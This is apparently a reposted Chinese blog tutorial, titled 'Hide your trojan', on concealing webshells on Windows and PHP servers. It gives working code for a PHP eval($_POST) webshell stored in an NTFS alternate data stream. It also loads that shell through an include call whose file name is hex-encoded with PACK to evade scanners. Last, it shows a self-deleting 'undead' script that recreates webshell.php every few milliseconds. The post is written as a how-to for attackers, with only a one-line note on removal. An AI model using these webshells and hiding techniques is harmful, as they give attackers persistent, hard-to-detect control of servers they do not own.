隐藏你的木马

0x01 attrib

attrib指令用于修改文件的属性·文件的常见属性有:只读·存档·隐藏和系统·

只读属性是指文件只可以做读的操作.不能对文件进行写的操作.就是文件的写保护.
存档属性是用来标记文件改动的.即在上一次备份后文件有所改动.一些备份软件在备份的时候会只去备份带有存档属性的文件.
隐藏属性顾名思义即为隐藏文件.在通常情况下.在资源管理器中不显示带有隐藏属性的文件.
系统属性是指标注文件为系统文件.是系统需要调用的文件.系统属性包括隐藏和只读属性,且在WINDOWS GUI模式下不能更改。

attrib指令的格式和常用参数为
ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]
+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录

例如:

attrib +s +a +r +h
attrib +s +h filename

但是我们可以通过dir /a 查看

0x02 ADS流

随着杀毒软件功能的日益强大,病毒总会借助各式各样的隐藏手段来逃避杀毒软件的“追捕”。有些病毒会通过设置文件属性来隐藏自身,从而长期伏在计算机中,使自己很难被用户发现。一种更为隐蔽、危害性更大的隐藏方法逐渐被病毒利用,即利用NTFS数据流来隐藏病毒,此类病毒我们称之为ADS流病毒或ZeroAcess。
参考百度百科

我们在dos窗口创建一个ADS文件

echo ^<?php @eval($_POST['cmd']);?^> > index.php:shell.jpg

可以看到生成了一个index.php文件但是内容为空

这个时候我们去连接

可以看到无法连接,这个时候我们可以通过再写一个文件包含来连接它

<?php include('index.php:shell.jpg');?>


这里可以通过hex编码然后通过PACK函数来绕过,这里来介绍一下PACK函数
pack() 函数把数据装入一个二进制字符串
pack(format,args+)

参考菜鸟教程

然后我们把文件名进行一个hex编码

编码结果为:696E6465782E7068703A7368656C6C2E6A7067

然后使用PACK函数

<?php
$a = "696E6465782E7068703A7"."368656C6C2E6A7067";
$b = "a";
include(PACK('H*',$$b));
?>


0x03 不死马

这里需要用到的函数
set_time_limit() //设置脚本最大执行时间,set_time_limit(0)表示长时间链接运行,不限制运行时间
ignore_user_abort() //函数设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行。如果未设置该参数,会返回当前的设置
usleep() //以指定的微秒数延迟执行
unlink(FILE) //删除文件本身,以起到隐蔽自身的作用

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
usleep(5000);
}?>

在每次删除后的5000微秒之后又会重新生成一个新的webshell.php文件,若要彻底删除文件就将web服务停止了再删除

访问之后生成webshell.php

这里我为了看到更加直观,我修改usleepsleep(5)

原文地址:https://www.cnblogs.com/yicunyiye/p/13956511.html